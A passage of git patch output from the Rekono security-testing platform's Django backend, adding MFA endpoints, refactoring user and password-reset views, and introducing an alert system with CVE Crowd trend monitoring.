Dict[str, Any]) -> Dict[str, Any]: """ attrs = super().validate(attrs) if attrs["user"].is_active is not None: - raise AuthenticationFailed( - "Invalid OTP value", code=status.HTTP_401_UNAUTHORIZED - ) + raise AuthenticationFailed(code=status.HTTP_401_UNAUTHORIZED) return attrs def create(self, validated_data: Dict[str, Any]) -> User: @@ -244,9 +239,7 @@ def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: Dict[str, Any]: Data after validation process """ if not self.instance.check_password(attrs.get("old_password")): - raise AuthenticationFailed( - "Invalid password", code=status.HTTP_401_UNAUTHORIZED - ) + raise AuthenticationFailed(code=status.HTTP_401_UNAUTHORIZED) return super().validate(attrs) def update(self, instance: User, validated_data: Dict[str, Any]) -> User: @@ -294,7 +287,33 @@ def save(self, **kwargs: Any) -> User: """ user = User.objects.filter( email=self.validated_data.get("email"), is_active=True - ) - return ( - User.objects.request_password_reset(user.first()) if user.exists() else None - ) + ).first() + if user: + otp = User.objects.setup_otp(user) + SMTP().reset_password(user, otp) + logger.info( + f"[User] User {user.id} requested a password reset", + extra={"user": user.id}, + ) + return user + return None + + +class EnableMfaSerializer(MfaSerializer): + validator = User.objects.verify_mfa + + def save(self, **kwargs: Any) -> User: + self.context.get("request").user.mfa = True + self.context.get("request").user.save(update_fields=["mfa"]) + return self.context.get("request").user + + +class DisableMfaSerializer(MfaSerializer): + def save(self, **kwargs: Any) -> User: + self.context.get("request").user.mfa = False + self.context.get("request").user.save(update_fields=["mfa"]) + return self.context.get("request").user + + +class RegisterMfaSerializer(Serializer): + url = URLField(max_length=200, read_only=True) diff --git a/src/backend/users/urls.py b/src/backend/users/urls.py index e587d5fd1..b54f5c888 100644 --- a/src/backend/users/urls.py +++ b/src/backend/users/urls.py @@ -1,28 +1,20 @@ from django.urls import include, path from rest_framework.routers import SimpleRouter - -from users.views import ( - CreateUserViewSet, - ProfileViewSet, - ResetPasswordViewSet, - UserViewSet, -) +from users.views import MfaViewSet, ProfileViewSet, UserViewSet # Register your views here. router = SimpleRouter() router.register("users", UserViewSet) -# router.register("users/create", CreateUserViewSet) +router.register("profile/mfa", MfaViewSet) urlpatterns = [ - path("users/create/", CreateUserViewSet.as_view({"post": "create"})), - path("profile/", ProfileViewSet.as_view({"get": "get", "put": "update"})), path( - "security/update-password/", ProfileViewSet.as_view({"put": "update_password"}) + "profile/", + ProfileViewSet.as_view({"get": "get_profile", "put": "update_profile"}), ), path( - "security/reset-password/", - ResetPasswordViewSet.as_view({"post": "create", "put": "update"}), + "profile/update-password/", ProfileViewSet.as_view({"put": "update_password"}) ), path("", include(router.urls)), ] diff --git a/src/backend/users/views.py b/src/backend/users/views.py index 1f4dd779d..f633cf31b 100644 --- a/src/backend/users/views.py +++ b/src/backend/users/views.py @@ -11,6 +11,7 @@ from rest_framework.response import Response from rest_framework.serializers import Serializer from rest_framework.viewsets import GenericViewSet +from rest_framework_simplejwt.authentication import JWTAuthentication from security.authorization.permissions import ( IsAdmin, IsNotAuthenticated, @@ -20,8 +21,11 @@ from users.models import User from users.serializers import ( CreateUserSerializer, + DisableMfaSerializer, + EnableMfaSerializer, InviteUserSerializer, ProfileSerializer, + RegisterMfaSerializer, RequestPasswordResetSerializer, ResetPasswordSerializer, UpdatePasswordSerializer, @@ -61,21 +65,58 @@ def _get_object_if_not_current_user(self, request) -> User: raise PermissionDenied() return instance - @extend_schema(request=InviteUserSerializer, responses={201: UserSerializer}) - def create(self, request, *args, **kwargs): - serializer = InviteUserSerializer(data=request.data) + def _is_valid(self, serializer: Serializer, request: Request) -> Serializer: + serializer = serializer(data=request.data) serializer.is_valid(raise_exception=True) - user = serializer.create(serializer.validated_data) - headers = self.get_success_headers(serializer.data) + return serializer + + def _create(self, serializer: Serializer, request: Request) -> Response: + serializer = self._is_valid(serializer, request) return Response( - UserSerializer(user).data, status=status.HTTP_201_CREATED, headers=headers + UserSerializer(serializer.create(serializer.validated_data)).data, + status=status.HTTP_201_CREATED, ) + @extend_schema(request=InviteUserSerializer, responses={201: UserSerializer}) + def create(self, request, *args, **kwargs): + return self._create(InviteUserSerializer, request) + + @extend_schema(request=CreateUserSerializer, responses={201: UserSerializer}) + @action( + detail=False, + methods=["POST"], + url_path="create", + permission_classes=[IsNotAuthenticated], + ) + def create_after_invitation(self, request: Request, *args, **kwargs) -> Response: + return self._create(CreateUserSerializer, request) + + @extend_schema( + request=RequestPasswordResetSerializer, responses={200: None}, methods=["POST"] + ) + @extend_schema( + request=ResetPasswordSerializer, responses={200: None}, methods=["PUT"] + ) + @action( + detail=False, + methods=["POST", "PUT"], + url_path="reset-password", + permission_classes=[IsNotAuthenticated], + ) + def reset_password(self, request: Request, *args, **kwargs) -> Response: + serializer = self._is_valid( + RequestPasswordResetSerializer + if request.method.lower() == "post" + else ResetPasswordSerializer, + request, + ) + serializer.save() + return Response(status=status.HTTP_200_OK) + @extend_schema(request=UpdateRoleSerializer, responses={201: UserSerializer}) def update(self, request, *args, **kwargs): instance = self._get_object_if_not_current_user(request) - serializer = UpdateRoleSerializer(data=request.data) - serializer.is_valid(raise_exception=True) + serializer = self._is_valid(UpdateRoleSerializer, request) instance = serializer.update(instance, serializer.validated_data) return Response(UserSerializer(instance).data, status=status.HTTP_200_OK) @@ -88,7 +129,7 @@ def destroy(self, request: Request, *args: Any, **kwargs: Any) -> Response: return Response(status=status.HTTP_204_NO_CONTENT) @extend_schema(request=None, responses={200: UserSerializer}) - @action(detail=True, methods=["POST"], url_path="enable", url_name="enable") + @action(detail=True, methods=["POST"], url_path="enable") def enable(self, request: Request, pk: str) -> Response: """Enable disabled user. @@ -104,16 +145,13 @@ def enable(self, request: Request, pk: str) -> Response: return Response(UserSerializer(instance).data, status=status.HTTP_200_OK) -class ProfileViewSet(GenericViewSet): - """User profile ViewSet that includes: get, update, password change and Telegram bot configuration features.""" - +class BaseProfileViewSet(GenericViewSet): serializer_class = ProfileSerializer queryset = User.objects.all() # Only IsAuthenticated class is required because all users can manage its profile permission_classes = [IsAuthenticated] - @action(detail=False, methods=["GET"]) - def get(self, request: Request, *args: Any, **kwargs: Any) -> Response: + def _get(self, request: Request) -> Response: return Response( self.serializer_class(request.user, many=False).data, status=status.HTTP_200_OK, @@ -125,62 +163,64 @@ def _update(self, request: Request, serializer_class: Serializer) -> Serializer: serializer.update(request.user, serializer.validated_data) return serializer + +class ProfileViewSet(BaseProfileViewSet): + @action(detail=False, methods=["GET"]) + def get_profile(self, request: Request, *args: Any, **kwargs: Any) -> Response: + return self._get(request) + @action(detail=False, methods=["PUT"]) - def update(self, request: Request, *args: Any, **kwargs: Any) -> Response: + def update_profile(self, request: Request, *args: Any, **kwargs: Any) -> Response: serializer = self._update(request, self.serializer_class) return Response(serializer.data, status=status.HTTP_200_OK) @extend_schema(request=UpdatePasswordSerializer, responses={200: None}) - @action( - detail=False, - methods=["PUT"], - url_path="update-password", - url_name="update-password", - ) + @action(detail=False, methods=["PUT"]) def update_password(self, request: Request) -> Response: self._update(request, UpdatePasswordSerializer) return Response(status=status.HTTP_200_OK) -class CreateUserViewSet(GenericViewSet): - """User ViewSet that includes user initialization from invitation feature.""" +class MfaViewSet(BaseProfileViewSet): + authentication_classes = [JWTAuthentication] - serializer_class = CreateUserSerializer - queryset = User.objects.all() - # Users can't be initialized from another user session, authentication is based on OTP - permission_classes = [IsNotAuthenticated] - - @extend_schema(request=CreateUserSerializer, responses={201: UserSerializer}) + @extend_schema(request=None, responses={200: RegisterMfaSerializer}) @action(detail=False, methods=["POST"]) - def create(self, request: Request, *args, **kwargs) -> Response: - serializer = self.serializer_class(data=request.data) - serializer.is_valid(raise_exception=True) - user = serializer.create(serializer.validated_data) - # headers = self.get_success_headers(serializer.data) - return Response(UserSerializer(user).data, status=status.HTTP_201_CREATED) - - -class ResetPasswordViewSet(GenericViewSet): - """User ViewSet that includes reset password feature.""" - - queryset = User.objects.all() - permission_classes = [IsNotAuthenticated] + def register(self, request: Request, *args, **kwargs) -> Response: + if request.user.mfa: + return Response( + {"mfa": "MFA is already enabled"}, status=status.HTTP_400_BAD_REQUEST + ) + return Response( + RegisterMfaSerializer( + {"url": User.objects.register_mfa(request.user)} + ).data, + status=status.HTTP_200_OK, + ) - def _create_or_update( - self, request: Request, serializer_class: Serializer - ) -> Serializer: - serializer = serializer_class(data=request.data) + def _update_mfa(self, request: Request, serializer: Serializer) -> None: + serializer = serializer(data=request.data, context={"request": request}) serializer.is_valid(raise_exception=True) serializer.save() - return serializer - @extend_schema(request=RequestPasswordResetSerializer, responses={200: None}) - def create(self, request: Request) -> Response: - self._create_or_update(request, RequestPasswordResetSerializer) - return Response(status=status.HTTP_200_OK) - - @extend_schema(request=ResetPasswordSerializer, responses={200: None}) - @action(detail=False, methods=["PUT"]) - def update(self, request: Request) -> Response: - self._create_or_update(request, ResetPasswordSerializer) - return Response(status=status.HTTP_200_OK) + @extend_schema(request=EnableMfaSerializer, responses={200: ProfileSerializer}) + @action(detail=False, methods=["POST"]) + def enable(self, request: Request) -> Response: + for condition, message in [ + (request.user.mfa, "MFA is already enabled"), + (not request.user.secret, "MFA is not regiesterd yet"), + ]: + if condition: + return Response({"mfa": message}, status=status.HTTP_400_BAD_REQUEST) + self._update_mfa(request, EnableMfaSerializer) + return self._get(request) + + @extend_schema(request=DisableMfaSerializer, responses={200: ProfileSerializer}) + @action(detail=False, methods=["POST"]) + def disable(self, request: Request) -> Response: + if not request.user.mfa: + return Response( + {"mfa": "MFA is already disabled"}, status=status.HTTP_400_BAD_REQUEST + ) + self._update_mfa(request, DisableMfaSerializer) + return self._get(request) From 2a1bb7c78ed0fea3e7b5a5814f26bc9263f07f8f Mon Sep 17 00:00:00 2001 From: Pablo Santiago <69458381+pablosnt@users.noreply.github.com> Date: Mon, 8 Apr 2024 19:29:04 +0200 Subject: [PATCH 141/141] Alert System (#307) * Initial implementation for the alert system and the CVE Crowd integration * Fix integrations and add notifications for the alerts via Telegram and mail * Unit tests for CVE Crowd integration, fix code style and ignore Semgrep false positives * Fix code style and ignore Bandit false positive * Fix code style * Move monitor job to RQ * Unit tests for alerts * Fix code style * Fix code style * Fix code style * Fix unit test * Fix unit tests * Fix error in PUT operation * Fix unit tests --- CHANGELOG.md | 3 + config.yaml | 3 + src/backend/alerts/__init__.py | 0 src/backend/alerts/admin.py | 6 + src/backend/alerts/apps.py | 16 + src/backend/alerts/enums.py | 18 + src/backend/alerts/filters.py | 16 + src/backend/alerts/fixtures/1_default.json | 11 + src/backend/alerts/management/__init__.py | 1 + .../alerts/management/commands/__init__.py | 1 + .../alerts/management/commands/monitor.py | 11 + src/backend/alerts/models.py | 141 ++++++ src/backend/alerts/queues.py | 49 +++ src/backend/alerts/serializers.py | 86 ++++ src/backend/alerts/urls.py | 8 + src/backend/alerts/views.py | 119 ++++++ src/backend/findings/filters.py | 1 + src/backend/findings/framework/views.py | 2 +- src/backend/findings/models.py | 1 + src/backend/findings/queues.py | 28 +- src/backend/findings/serializers.py | 2 + src/backend/findings/views.py | 2 +- src/backend/framework/fields.py | 2 +- src/backend/framework/platforms.py | 26 +- src/backend/framework/views.py | 2 - src/backend/input_types/enums.py | 1 + .../integrations/fixtures/1_integrations.json | 11 + src/backend/notes/views.py | 12 +- src/backend/platforms/cvecrowd/__init__.py | 0 src/backend/platforms/cvecrowd/admin.py | 6 + src/backend/platforms/cvecrowd/apps.py | 16 + .../cvecrowd/fixtures/1_default.json | 11 + .../platforms/cvecrowd/integrations.py | 99 +++++ src/backend/platforms/cvecrowd/models.py | 25 ++ src/backend/platforms/cvecrowd/serializers.py | 28 ++ src/backend/platforms/cvecrowd/urls.py | 9 + src/backend/platforms/cvecrowd/views.py | 12 + .../platforms/defect_dojo/integrations.py | 6 +- .../platforms/defect_dojo/serializers.py | 19 +- src/backend/platforms/hacktricks.py | 8 +- src/backend/platforms/mail/notifications.py | 18 +- .../mail/templates/alert_notification.html | 196 +++++++++ .../platforms/{nvd_nist.py => nvdnist.py} | 3 +- .../notifications/notifications.py | 31 +- .../telegram_app/notifications/templates.py | 9 +- src/backend/projects/serializers.py | 19 +- src/backend/projects/views.py | 15 +- src/backend/rekono/settings.py | 5 +- src/backend/rekono/urls.py | 2 + src/backend/rekono/views.py | 2 +- src/backend/reporting/views.py | 2 +- .../security/authorization/permissions.py | 41 +- src/backend/security/authorization/roles.py | 18 + .../security/validators/input_validator.py | 2 +- .../security/validators/target_validator.py | 3 +- src/backend/tasks/views.py | 4 +- src/backend/tests/platforms/test_cvecrowd.py | 148 +++++++ .../{test_nvd_nist.py => test_nvdnist.py} | 16 +- src/backend/tests/test_alerts.py | 403 ++++++++++++++++++ src/backend/tests/test_integrations.py | 2 + src/backend/users/views.py | 2 +- 61 files changed, 1672 insertions(+), 87 deletions(-) create mode 100644 src/backend/alerts/__init__.py create mode 100644 src/backend/alerts/admin.py create mode 100644 src/backend/alerts/apps.py create mode 100644 src/backend/alerts/enums.py create mode 100644 src/backend/alerts/filters.py create mode 100644 src/backend/alerts/fixtures/1_default.json create mode 100644 src/backend/alerts/management/__init__.py create mode 100644 src/backend/alerts/management/commands/__init__.py create mode 100644 src/backend/alerts/management/commands/monitor.py create mode 100644 src/backend/alerts/models.py create mode 100644 src/backend/alerts/queues.py create mode 100644 src/backend/alerts/serializers.py create mode 100644 src/backend/alerts/urls.py create mode 100644 src/backend/alerts/views.py create mode 100644 src/backend/platforms/cvecrowd/__init__.py create mode 100644 src/backend/platforms/cvecrowd/admin.py create mode 100644 src/backend/platforms/cvecrowd/apps.py create mode 100644 src/backend/platforms/cvecrowd/fixtures/1_default.json create mode 100644 src/backend/platforms/cvecrowd/integrations.py create mode 100644 src/backend/platforms/cvecrowd/models.py create mode 100644 src/backend/platforms/cvecrowd/serializers.py create mode 100644 src/backend/platforms/cvecrowd/urls.py create mode 100644 src/backend/platforms/cvecrowd/views.py create mode 100644 src/backend/platforms/mail/templates/alert_notification.html rename src/backend/platforms/{nvd_nist.py => nvdnist.py} (96%) create mode 100644 src/backend/tests/platforms/test_cvecrowd.py rename src/backend/tests/platforms/{test_nvd_nist.py => test_nvdnist.py} (82%) create mode 100644 src/backend/tests/test_alerts.py diff --git a/CHANGELOG.md b/CHANGELOG.md index 8a0ad87be..2edb9e5f8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -28,6 +28,9 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), - HackTricks integration to link findings to interesing wiki resources (https://github.com/pablosnt/rekono/issues/271) - Creation of reports in JSON, XML and PDF formats (https://github.com/pablosnt/rekono/issues/273) - Customization of HTTP headers sent by tools (https://github.com/pablosnt/rekono/issues/297) +- Multi Factor Authentication (MFA) (https://github.com/pablosnt/rekono/issues/303) +- Customization of alerts to be notified when a finding under certain circumstances has been found (https://github.com/pablosnt/rekono/issues/301) +- CVE Crowd integration to identify trending CVEs on social networks (https://github.com/pablosnt/rekono/issues/301) ### Security diff --git a/config.yaml b/config.yaml index fe50c323b..f25740524 100644 --- a/config.yaml +++ b/config.yaml @@ -28,3 +28,6 @@ tools: directory: /opt/spring4shell-scan reports: pdf-template: null +monitor: + cvecrowd: + hour: 0 diff --git a/src/backend/alerts/__init__.py b/src/backend/alerts/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/backend/alerts/admin.py b/src/backend/alerts/admin.py new file mode 100644 index 000000000..6bdf35592 --- /dev/null +++ b/src/backend/alerts/admin.py @@ -0,0 +1,6 @@ +from alerts.models import Alert +from django.contrib import admin + +# Register your models here. + +admin.site.register(Alert) diff --git a/src/backend/alerts/apps.py b/src/backend/alerts/apps.py new file mode 100644 index 000000000..558ab48cc --- /dev/null +++ b/src/backend/alerts/apps.py @@ -0,0 +1,16 @@ +from pathlib import Path +from typing import Any, List + +from django.apps import AppConfig +from framework.apps import BaseApp + + +class AlertsConfig(BaseApp, AppConfig): + name = "alerts" + fixtures_path = Path(__file__).resolve().parent / "fixtures" + skip_if_model_exists = True + + def _get_models(self) -> List[Any]: + from alerts.models import MonitorSettings + + return [MonitorSettings] diff --git a/src/backend/alerts/enums.py b/src/backend/alerts/enums.py new file mode 100644 index 000000000..446779de1 --- /dev/null +++ b/src/backend/alerts/enums.py @@ -0,0 +1,18 @@ +from django.db.models import TextChoices + + +class AlertItem(TextChoices): + OSINT = "OSINT" + HOST = "Host" + OPEN_PORT = "Open Port" + SERVICE = "Service" + TECHNOLOGY = "Technology" + CREDENTIAL = "Credential" + VULNERABILITY = "Vulnerability" + CVE = "CVE" + + +class AlertMode(TextChoices): + NEW = "New" + FILTER = "Filter" + MONITOR = "Monitor" diff --git a/src/backend/alerts/filters.py b/src/backend/alerts/filters.py new file mode 100644 index 000000000..bfeb9bd98 --- /dev/null +++ b/src/backend/alerts/filters.py @@ -0,0 +1,16 @@ +from alerts.models import Alert +from django_filters.rest_framework import FilterSet + + +class AlertFilter(FilterSet): + class Meta: + model = Alert + fields = { + "project": ["exact"], + "item": ["exact"], + "mode": ["exact"], + "value": ["exact", "icontains"], + "enabled": ["exact"], + "owner": ["exact"], + "suscribers": ["exact"], + } diff --git a/src/backend/alerts/fixtures/1_default.json b/src/backend/alerts/fixtures/1_default.json new file mode 100644 index 000000000..8d7d9980f --- /dev/null +++ b/src/backend/alerts/fixtures/1_default.json @@ -0,0 +1,11 @@ +[ + { + "model": "alerts.monitorsettings", + "pk": 1, + "fields": { + "rq_job_id": null, + "last_monitor": null, + "hour_span": 24 + } + } +] \ No newline at end of file diff --git a/src/backend/alerts/management/__init__.py b/src/backend/alerts/management/__init__.py new file mode 100644 index 000000000..2226fb739 --- /dev/null +++ b/src/backend/alerts/management/__init__.py @@ -0,0 +1 @@ +"""Management commands.""" diff --git a/src/backend/alerts/management/commands/__init__.py b/src/backend/alerts/management/commands/__init__.py new file mode 100644 index 000000000..2226fb739 --- /dev/null +++ b/src/backend/alerts/management/commands/__init__.py @@ -0,0 +1 @@ +"""Management commands.""" diff --git a/src/backend/alerts/management/commands/monitor.py b/src/backend/alerts/management/commands/monitor.py new file mode 100644 index 000000000..36b8d035b --- /dev/null +++ b/src/backend/alerts/management/commands/monitor.py @@ -0,0 +1,11 @@ +from typing import Any + +from alerts.queues import MonitorQueue +from django.core.management.base import BaseCommand + + +class Command(BaseCommand): + help = "Trigger monitor system" + + def handle(self, *args: Any, **options: Any) -> None: + MonitorQueue().enqueue() diff --git a/src/backend/alerts/models.py b/src/backend/alerts/models.py new file mode 100644 index 000000000..16023cadb --- /dev/null +++ b/src/backend/alerts/models.py @@ -0,0 +1,141 @@ +from alerts.enums import AlertItem, AlertMode +from django.core.validators import MaxValueValidator, MinValueValidator +from django.db import models +from executions.models import Execution +from findings.enums import PortStatus, TriageStatus +from findings.models import ( + OSINT, + Credential, + Finding, + Host, + Port, + Technology, + Vulnerability, +) +from framework.models import BaseModel +from projects.models import Project +from rekono.settings import AUTH_USER_MODEL +from security.validators.input_validator import Regex, Validator + +# Create your models here. + + +class Alert(BaseModel): + project = models.ForeignKey( + Project, related_name="alerts", on_delete=models.CASCADE + ) + item = models.TextField(max_length=15, choices=AlertItem.choices) + mode = models.TextField( + max_length=7, choices=AlertMode.choices, default=AlertMode.NEW + ) + value = models.TextField( + max_length=100, + validators=[Validator(Regex.NAME.value, code="filter_value")], + blank=True, + null=True, + ) + enabled = models.BooleanField(default=True) + suscribe_all_members = models.BooleanField(default=False) + owner = models.ForeignKey( + AUTH_USER_MODEL, on_delete=models.SET_NULL, blank=True, null=True + ) + suscribers = models.ManyToManyField( + AUTH_USER_MODEL, related_name="alerts", blank=True + ) + + class Meta: + constraints = [ + models.UniqueConstraint( + fields=["project", "item", "mode", "value"], + name="unique_alerts_1", + condition=models.Q(value__isnull=False), + ), + models.UniqueConstraint( + fields=["project", "item", "mode"], + name="unique_alerts_2", + condition=models.Q(value__isnull=True), + ), + ] + + mapping = { + AlertItem.OSINT.value: {"model": OSINT, AlertMode.NEW.value: True}, + AlertItem.HOST.value: { + "model": Host, + AlertMode.NEW.value: True, + AlertMode.FILTER.value: "address", + }, + AlertItem.OPEN_PORT.value: { + "model": Port, + "filter": lambda f: f.status == PortStatus.OPEN, + AlertMode.NEW.value: True, + }, + AlertItem.SERVICE.value: { + "model": Port, + "filter": lambda f: f.service is not None, + AlertMode.NEW.value: True, + AlertMode.FILTER.value: "service", + }, + AlertItem.TECHNOLOGY.value: { + "model": Technology, + AlertMode.NEW.value: True, + AlertMode.FILTER.value: "name", + }, + AlertItem.CREDENTIAL.value: {"model": Credential, AlertMode.NEW.value: True}, + AlertItem.VULNERABILITY.value: { + "model": Vulnerability, + AlertMode.NEW.value: True, + }, + AlertItem.CVE.value: { + "model": Vulnerability, + "filter": lambda f: f.cve is not None, + AlertMode.NEW.value: True, + AlertMode.FILTER.value: "cve", + AlertMode.MONITOR.value: "trending", + }, + } + + def __str__(self) -> str: + values = [self.project.__str__(), self.mode, self.item] + if self.value: + values.append(self.value) + return " - ".join(values) + + @classmethod + def get_project_field(cls) -> str: + return "project" + + def must_be_triggered(self, execution: Execution, finding: Finding) -> bool: + data = self.mapping[self.item] + if ( + not isinstance(finding, data["model"]) + or finding.is_fixed + or ( + hasattr(finding, "triage_status") + and finding.triage_status == TriageStatus.FALSE_POSITIVE + ) + or not data.get(self.mode) + or (data.get("filter") and not data["filter"](finding)) + ): + return False + if self.mode == AlertMode.NEW.value: + return not finding.executions.exclude(id=execution.id).exists() + elif self.mode == AlertMode.FILTER.value: + return ( + getattr(finding, data.get(AlertMode.FILTER.value, "").lower()) + == self.value.lower() + ) + else: + return ( + getattr(finding, data.get(AlertMode.MONITOR.value, "").lower()) is True + ) + + +class MonitorSettings(BaseModel): + rq_job_id = models.TextField(max_length=50, blank=True, null=True) + last_monitor = models.DateTimeField(blank=True, null=True) + hour_span = models.IntegerField( + default=7, validators=[MinValueValidator(24), MaxValueValidator(168)] + ) + + def __str__(self) -> str: + return f"Last monitor was at {self.last_monitor}. Next one in {self.hour_span} hours" diff --git a/src/backend/alerts/queues.py b/src/backend/alerts/queues.py new file mode 100644 index 000000000..872658748 --- /dev/null +++ b/src/backend/alerts/queues.py @@ -0,0 +1,49 @@ +import logging +from datetime import timedelta +from typing import Any + +from alerts.models import MonitorSettings +from django.utils import timezone +from django_rq import job +from framework.queues import BaseQueue +from platforms.cvecrowd.integrations import CVECrowd +from rq.job import Job + +logger = logging.getLogger() + + +class MonitorQueue(BaseQueue): + name = "monitor" + + def enqueue(self, **kwargs: Any) -> Job: + settings = MonitorSettings.objects.first() + job = self._get_queue().enqueue( + self.consume, on_success=self._scheduled_callback + ) + settings.rq_job_id = job.id + settings.save(update_fields=["rq_job_id"]) + return job + + @staticmethod + @job("monitor") + def consume() -> None: + logger.info("[Monitor] Monitor job has started") + settings = MonitorSettings.objects.first() + settings.last_monitor = timezone.now() + settings.save(update_fields=["last_monitor"]) + for platform in [CVECrowd()]: + platform.monitor() + + @staticmethod + def _scheduled_callback( + job: Any, connection: Any, *args: Any, **kwargs: Any + ) -> None: + settings = MonitorSettings.objects.first() + instance = MonitorQueue() + job = instance._get_queue().enqueue_at( + settings.last_monitor + timedelta(hours=settings.hour_span), + instance.consume, + on_success=instance._scheduled_callback, + ) + settings.rq_job_id = job.id + settings.save(update_fields=["rq_job_id"]) diff --git a/src/backend/alerts/serializers.py b/src/backend/alerts/serializers.py new file mode 100644 index 000000000..d926d118b --- /dev/null +++ b/src/backend/alerts/serializers.py @@ -0,0 +1,86 @@ +from typing import Any, Dict + +from alerts.enums import AlertMode +from alerts.models import Alert, MonitorSettings +from django.core.exceptions import ValidationError +from django.db import transaction +from rest_framework.serializers import ModelSerializer, SerializerMethodField +from users.serializers import SimpleUserSerializer + + +class AlertSerializer(ModelSerializer): + suscribed = SerializerMethodField(read_only=True) + owner = SimpleUserSerializer(many=False, read_only=True) + + class Meta: + model = Alert + fields = ( + "id", + "project", + "item", + "mode", + "value", + "enabled", + "owner", + "suscribed", + "suscribers", + "suscribe_all_members", + ) + read_only_fields = ("id", "suscribed", "enabled", "owner", "suscribers") + extra_kwargs = {"suscribe_all_members": {"write_only": True}} + + def get_suscribed(self, instance: Any) -> bool: + return instance.suscribers.filter( + pk=self.context.get("request").user.id + ).exists() + + def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: + attrs = super().validate(attrs) + if attrs.get("mode") == AlertMode.FILTER and not attrs.get("value"): + raise ValidationError( + "Value is required when the alert mode is 'filter'", code="value" + ) + attrs["enabled"] = True + return attrs + + @transaction.atomic() + def create(self, validated_data: Dict[str, Any]) -> Alert: + alert = super().create(validated_data) + if alert.suscribe_all_members: + alert.suscribers.set(alert.project.members.all()) + else: + alert.suscribers.add(alert.owner) + return alert + + +class EditAlertSerializer(AlertSerializer): + class Meta: + model = Alert + fields = ( + "id", + "project", + "item", + "mode", + "value", + "enabled", + "owner", + "suscribed", + "suscribers", + ) + read_only_fields = ( + "id", + "project", + "item", + "mode", + "enabled", + "owner", + "suscribed", + "suscribers", + ) + + +class MonitorSettingsSerializer(ModelSerializer): + class Meta: + model = MonitorSettings + fields = ("id", "last_monitor", "hour_span") + read_only_fields = ("id", "last_monitor") diff --git a/src/backend/alerts/urls.py b/src/backend/alerts/urls.py new file mode 100644 index 000000000..301d2efd6 --- /dev/null +++ b/src/backend/alerts/urls.py @@ -0,0 +1,8 @@ +from alerts.views import AlertViewSet, MonitorSettingsViewSet +from rest_framework.routers import SimpleRouter + +router = SimpleRouter() +router.register("alerts", AlertViewSet) +router.register("monitor", MonitorSettingsViewSet) + +urlpatterns = router.urls diff --git a/src/backend/alerts/views.py b/src/backend/alerts/views.py new file mode 100644 index 000000000..9b7101908 --- /dev/null +++ b/src/backend/alerts/views.py @@ -0,0 +1,119 @@ +from alerts.filters import AlertFilter +from alerts.models import Alert, MonitorSettings +from alerts.serializers import ( + AlertSerializer, + EditAlertSerializer, + MonitorSettingsSerializer, +) +from django.db.models import QuerySet +from drf_spectacular.utils import extend_schema +from framework.views import BaseViewSet +from rest_framework import status +from rest_framework.decorators import action +from rest_framework.permissions import IsAuthenticated +from rest_framework.request import Request +from rest_framework.response import Response +from rest_framework.serializers import Serializer +from security.authorization.permissions import ( + OwnerPermission, + ProjectMemberPermission, + RekonoModelPermission, +) + +# Create your views here. + + +class AlertViewSet(BaseViewSet): + queryset = Alert.objects.all() + serializer_class = AlertSerializer + filterset_class = AlertFilter + permission_classes = [ + IsAuthenticated, + RekonoModelPermission, + ProjectMemberPermission, + OwnerPermission, + ] + search_fields = ["value"] + ordering_fields = ["id", "item", "mode"] + http_method_names = ["get", "post", "put", "delete"] + + def get_serializer_class(self) -> Serializer: + return ( + EditAlertSerializer + if self.request.method == "PUT" + else super().get_serializer_class() + ) + + def get_queryset(self) -> QuerySet: + queryset = super().get_queryset() + return ( + queryset.filter(enabled=True).all() + if self.request.method == "PUT" + else queryset + ) + + @extend_schema(request=None, responses={204: None}) + @action( + detail=True, + methods=["POST", "DELETE"], + permission_classes=[ + IsAuthenticated, + RekonoModelPermission, + ProjectMemberPermission, + ], + ) + def suscription(self, request: Request, pk: str) -> Response: + alert = self.get_object() + for method, expected_exists, error, operation in [ + ( + "POST", + False, + "You are already suscribed to this alert", + alert.suscribers.add, + ), + ( + "DELETE", + True, + "You are already not suscribed to this alert", + alert.suscribers.remove, + ), + ]: + if request.method == method: + if ( + alert.suscribers.filter(id=request.user.id).exists() + is not expected_exists + ): + return Response( + {"suscribe": error}, status=status.HTTP_400_BAD_REQUEST + ) + operation(request.user) + break + return Response(status=status.HTTP_204_NO_CONTENT) + + @extend_schema(request=None, responses={200: AlertSerializer}) + @action(detail=True, methods=["POST", "DELETE"]) + def enable(self, request: Request, pk: str) -> Response: + alert = self.get_object() + for method, new_value, operation in [ + ("POST", True, "enabled"), + ("DELETE", False, "disabled"), + ]: + if request.method == method: + if alert.enabled == new_value: + return Response( + {"enable": f"This alert is already {operation}"}, + status=status.HTTP_400_BAD_REQUEST, + ) + alert.enabled = new_value + alert.save(update_fields=["enabled"]) + return Response( + AlertSerializer(alert, context={"request": request}).data, + status=status.HTTP_200_OK, + ) + + +class MonitorSettingsViewSet(BaseViewSet): + queryset = MonitorSettings.objects.all() + serializer_class = MonitorSettingsSerializer + permission_classes = [IsAuthenticated, RekonoModelPermission] + http_method_names = ["get", "put"] diff --git a/src/backend/findings/filters.py b/src/backend/findings/filters.py index 9e92a3434..5828906a1 100644 --- a/src/backend/findings/filters.py +++ b/src/backend/findings/filters.py @@ -113,6 +113,7 @@ class Meta: "cve": ["exact", "contains"], "cwe": ["exact", "contains"], "osvdb": ["exact", "contains"], + "trending": ["exact"], } diff --git a/src/backend/findings/framework/views.py b/src/backend/findings/framework/views.py index 2f0414fc2..772c04e5b 100644 --- a/src/backend/findings/framework/views.py +++ b/src/backend/findings/framework/views.py @@ -31,7 +31,7 @@ def destroy(self, request: Request, *args: Any, **kwargs: Any) -> Response: return self._method_not_allowed("DELETE") # pragma: no cover @extend_schema(request=None, responses={204: None}) - @action(detail=True, methods=["POST", "DELETE"], url_path="fix", url_name="fix") + @action(detail=True, methods=["POST", "DELETE"]) def fix(self, request: Request, pk: str) -> Response: finding = self.get_object() bad_request = None diff --git a/src/backend/findings/models.py b/src/backend/findings/models.py index ee0814450..8a3c40896 100644 --- a/src/backend/findings/models.py +++ b/src/backend/findings/models.py @@ -362,6 +362,7 @@ class Vulnerability(TriageFinding): cwe = models.TextField(max_length=20, blank=True, null=True) osvdb = models.TextField(max_length=20, blank=True, null=True) reference = models.TextField(max_length=250, blank=True, null=True) + trending = models.BooleanField(default=False) unique_fields = ["technology", "port", "name", "cve"] filters = [ diff --git a/src/backend/findings/queues.py b/src/backend/findings/queues.py index 